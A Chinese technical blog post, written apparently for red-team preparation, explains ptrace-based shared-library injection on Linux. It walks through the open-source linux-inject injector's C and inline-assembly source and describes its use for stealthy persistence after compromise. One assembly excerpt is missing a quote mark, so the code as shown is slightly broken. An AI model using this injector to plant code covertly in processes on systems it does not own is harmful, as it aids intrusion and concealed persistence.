0%

Linux ptrace so库注入分析

前言

hw期间需要准备红队不同生命周期中使用的工具,作为一名二进制选手(伪),理所应当的承担起了主机层内网权限维持这块的工作输出,包括手法、自动化工具(开源、自写)、rootkit、多版本适配的魔改系统so等等。整理的过程也是学习的过程,这里打算分三部分进行记录,主要包括ptrace注入、预加载、rootkit三块。以下首先进行的是ptrace注入这块的分析,包括原理、源码、其它三个部分。

原理

在linux上,想要去做so库的动态注入无非这么几步:
1、注入器(injector)使用ptrace挂载目标进程
2、注入器注入加载器(loader)到目标进程
3、加载器被触发进行so库注入
4、目标进程初始状态还原和卸载ptrace

下面简单展开一下:

  • 挂载目标进程

首先需要使用ptrace挂载目标进程。我们的目标是在待注入目标进程调用加载外部的(恶意)so库,这需要我们去修改目标进程的内存空间,使其能够去执行加载恶意so库的libc api;而一般情况下一个进程是无法修改另一个毫不相干的进程内存写入数据的。ptrace的作用这时就体现了出来。ptrace是linux上一个调试专用的系统调用,类似gdb、strace等跟踪调试工具基本都使用到了ptrace,它的功能是通过挂载(attach)指定进程让其成为当前进程的子进程,linux下父进程可以修改子进程的内存空间,ptrace就是利用这一点,让被挂载进程的内存空间可以被修改。
如下是ptrace的api(https://linux.die.net/man/2/ptrace):

1
2
#include <sys/ptrace.h>
long ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data);

此处的__ptrace_request枚举类型的request参数决定了ptrace将要去执行的动作,ptrace注入需要用到的如下:

1
2
3
4
5
6
7
PTRACE_ATTACH(挂载指定pid的进程)
PTRACE_GETREGSET(读取目标进程的寄存器值)
PTRACE_SETREGSET(设置目标进程的寄存器值)
PTRACE_CONT(将控制权扔给目标进程运行)
PTRACE_DETACH(结束卸载跟踪)
PTRACE_PEEKTEXT(读取内容)
PTRACE_POKETEXT(写入内容)
  • 加载器注入

目标进程被挂载以后,注入器进程就可以修改目标进程内存空间去注入加载器了,一般来说可以将加载器代码注入到进程的头部(未开始运行),或一段连续的nop区,如果注入的是其它位置,可能会出现被修改内存的二次使用等问题。如果将加载器注入到进程头部,则需要做下内存数据备份,保证ptrace退出后的子进程正常运行。加载器注入后,注入器将修改子进程当前程序计数器(eip)的值,使其指向加载器,最后将控制权移交给子进程。

  • 加载器触发

正常情况下子进程将顺利执行加载器代码,加载器会为待加载的so库路径字符串分配内存空间,并获取其参数内存地址;之后调用libc_dlopen_mode函数去加载指定路径的so库。一般来说加载so库可以选择进程默认链接的libc.so中自带的libc_dlopen_mode函数,而不使用非默认加载的libdl.so中的dlopen。加载器要注意结束后需要将控制权交给注入器进程(int3中断),因为还要去恢复一下原始状态。

  • 状态还原

so库注入完毕后要注意恢复原本的进程内存空间状态,包括被修改的寄存器以及被覆写的内存。还原完成后结束ptrace的跟踪,将控制权最终返回给子进程。

源码

这边拿开源的linux-inject项目做一波分析:
image.png
项目结构还是很清晰的,三种架构的injector注入器实现,封装的ptrace、utils函数调用的头文件和函数实现,以及测试so库和测试目标程序。主要关注点还是注入器的实现。
injector部分的代码非常简单清晰,先从main开始:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
if(argc < 4)
{
usage(argv[0]);
return 1;
}
char* command = argv[1];
char* commandArg = argv[2];
char* libname = argv[3];
char* libPath = realpath(libname, NULL);
char* processName = NULL;
pid_t target = 0;
if(!libPath)
{
fprintf(stderr, "can't find file \"%s\"\n", libname);
return 1;
}
if(!strcmp(command, "-n"))
{
processName = commandArg;
target = findProcessByName(processName);
if(target == -1)
{
fprintf(stderr, "doesn't look like a process named \"%s\" is running right now\n", processName);
return 1;
}
printf("targeting process \"%s\" with pid %d\n", processName, target);
}
else if(!strcmp(command, "-p"))
{
target = atoi(commandArg);
printf("targeting process with pid %d\n", target);
}
else
{
usage(argv[0]);
return 1;
}

这边没啥好说的,主要是根据参数确定不同模式,分别使用不同方式获取进程pid。

1
2
3
4
5
6
7
8
9
10
11
12
13
int libPathLength = strlen(libPath) + 1;
int mypid = getpid();
long mylibcaddr = getlibcaddr(mypid);
long mallocAddr = getFunctionAddress("malloc");
long freeAddr = getFunctionAddress("free");
long dlopenAddr = getFunctionAddress("__libc_dlopen_mode");
long mallocOffset = mallocAddr - mylibcaddr;
long freeOffset = freeAddr - mylibcaddr;
long dlopenOffset = dlopenAddr - mylibcaddr;
long targetLibcAddr = getlibcaddr(target);
long targetMallocAddr = targetLibcAddr + mallocOffset;
long targetFreeAddr = targetLibcAddr + freeOffset;
long targetDlopenAddr = targetLibcAddr + dlopenOffset;

这边是通过自写函数(/proc/pid/maps下取数据)去获取malloc、free及__libc_dlopen_mode的libc函数地址,之后减去libc的加载地址得到偏移,之后加上目标进程libc基址得到三函数在目标进程libc中的真实地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
struct user_regs_struct oldregs, regs;
memset(&oldregs, 0, sizeof(struct user_regs_struct));
memset(&regs, 0, sizeof(struct user_regs_struct));
ptrace_attach(target);
ptrace_getregs(target, &oldregs);
memcpy(&regs, &oldregs, sizeof(struct user_regs_struct));
long addr = freespaceaddr(target) + sizeof(long);
regs.rip = addr + 2;
regs.rdi = targetMallocAddr;
regs.rsi = targetFreeAddr;
regs.rdx = targetDlopenAddr;
regs.rcx = libPathLength;
ptrace_setregs(target, &regs);

这边开始ptrace挂载目标进程了,获取目标进程当前的所有寄存器状态并保存,然后去/proc/pid/maps下拿到目标进程代码段首地址,因为eip要指向的是当前指令的下一条指令,所以需要将当前地址+2的值赋给eip,让eip指向进程代码段收地址,最后将之前拿到的malloc、free及__libc_dlopen_mode的地址赋给目标进程当前环境下的寄存器,为加载器的代码执行做铺垫。

1
2
3
4
5
6
7
8
9
size_t injectSharedLibrary_size = (intptr_t)injectSharedLibrary_end - (intptr_t)injectSharedLibrary;
intptr_t injectSharedLibrary_ret = (intptr_t)findRet(injectSharedLibrary_end) - (intptr_t)injectSharedLibrary;
char* backup = malloc(injectSharedLibrary_size * sizeof(char));
ptrace_read(target, addr, backup, injectSharedLibrary_size);
char* newcode = malloc(injectSharedLibrary_size * sizeof(char));
memset(newcode, 0, injectSharedLibrary_size * sizeof(char));
memcpy(newcode, injectSharedLibrary, injectSharedLibrary_size - 1);
newcode[injectSharedLibrary_ret] = INTEL_INT3_INSTRUCTION;
ptrace_write(target, addr, newcode, injectSharedLibrary_size);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
void injectSharedLibrary(long mallocaddr, long freeaddr, long dlopenaddr)
{
asm(
"push %rsi \n"
"push %rdx"
);
asm(
"push %r9 \n"
"mov %rdi,%r9 \n"
"mov %rcx,%rdi \n"
"callq *%r9 \n" # malloc
"pop %r9 \n"
"int $3"
);
asm(
"pop %rdx \n"
"push %r9 \n"
"mov %rdx,%r9 \n"
"mov %rax,%rdi \n
"movabs $1,%rsi \n"
"callq *%r9 \n" # dlopenaddr
"pop %r9 \n"
"int $3"
);
asm(
"mov %rax,%rdi \n"
"pop %rsi \n"
"push %rbx \n"
"mov %rsi,%rbx \n"
"xor %rsi,%rsi \n"
"int $3 \n"
"callq *%rbx \n" # free
"pop %rbx"
);
}
void injectSharedLibrary_end()
{
}

injectSharedLibrary就是加载器负责加载so,这边首先将injectSharedLibrary与injectSharedLibrary_end地址相减拿到injectSharedLibrary函数的字节码长度,之后在加载器代码底部插入int3指令(加载器代码执行完后将控制权交给控制器进行内存空间恢复),同时备份目标进程首地址与injectSharedLibrary代码长度相同size的字节码,最后将加载器代码覆写进子进程首地址后injectSharedLibrary_size大小的内存空间,完成加载器的代码注入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
ptrace_cont(target);
struct user_regs_struct malloc_regs;
memset(&malloc_regs, 0, sizeof(struct user_regs_struct));
ptrace_getregs(target, &malloc_regs);
unsigned long long targetBuf = malloc_regs.rax;
if(targetBuf == 0)
{
fprintf(stderr, "malloc() failed to allocate memory\n");
restoreStateAndDetach(target, addr, backup, injectSharedLibrary_size, oldregs);
free(backup);
free(newcode);
return 1;
}
ptrace_write(target, targetBuf, libPath, libPathLength);
ptrace_cont(target);
struct user_regs_struct dlopen_regs;
memset(&dlopen_regs, 0, sizeof(struct user_regs_struct));
ptrace_getregs(target, &dlopen_regs);
unsigned long long libAddr = dlopen_regs.rax;
if(libAddr == 0)
{
fprintf(stderr, "__libc_dlopen_mode() failed to load %s\n", libname);
restoreStateAndDetach(target, addr, backup, injectSharedLibrary_size, oldregs);
free(backup);
free(newcode);
return 1;
}
if(checkloaded(target, libname))
{
printf("\"%s\" successfully injected\n", libname);
}
else
{
fprintf(stderr, "could not inject \"%s\"\n", libname);
}
ptrace_cont(target);

这边执行ptrace_cont将控制权交给目标进程,目标进程执行加载器代码首先执行malloc,为待加载so库字符串分配(libPathLength大小的)地址空间,之后int3中断返回注入器上下文根据寄存器中的函数返回值判断malloc是否成功,然后执行ptrace_write将待加载字符串写到前面分配的内存空间中,继续ptrace_cont执行目标进程;目标进程使用__libc_dlpoen_mode打开指定so库后继续中断返回调用进程,同样的,通过寄存器中的函数返回值判断so库是否加载成功,最后继续ptrace_cont调用free释放分配的内存空间(这边貌似没执行到call就返回了)。

1
2
3
4
restoreStateAndDetach(target, addr, backup, injectSharedLibrary_size, oldregs);
free(backup);
free(newcode);
return 0;
1
2
3
4
5
6
void restoreStateAndDetach(pid_t target, unsigned long addr, void* backup, int datasize, struct REG_TYPE oldregs)
{
ptrace_write(target, addr, backup, datasize);
ptrace_setregs(target, &oldregs);
ptrace_detach(target);
}

最后恢复被注入进程的环境,包括代码段内存和寄存器,然后ptrace_detach结束ptrace。

其它

一般来说so库注入用在攻击上听到的比较多,经常是在拿到主机权限后进行权限维持和后渗透,以及给游戏做破解做热补丁等等。在权限维持领域来说,与ld_preload技术相比较而言各有优劣,展开来讲,so注入可以去动态修改目标进程,即使目标进程已经运行,而ld_preload无法对当前未创建的进程生效;so库注入相比ld_preload而言更隐蔽;同时如果想要改变程序的执行流程一般so注入是要去做hook的,相对来说比较复杂;ptrace过程中的中断和执行流程改变在多线程环境下也容易出现并发问题。

总结

业务导向的结果就是小本本上记下的待研究todolist越来越多,感慨时间有限而学海无涯,东西太多,学不完了。

参考链接:
https://jmpews.github.io/2016/12/27/pwn/linux%E8%BF%9B%E7%A8%8B%E5%8A%A8%E6%80%81so%E6%B3%A8%E5%85%A5/
https://github.com/gaffe23/linux-inject/blob/master/slides_BHArsenal2015.pdf
https://payloads.online/archivers/2020-01-01/2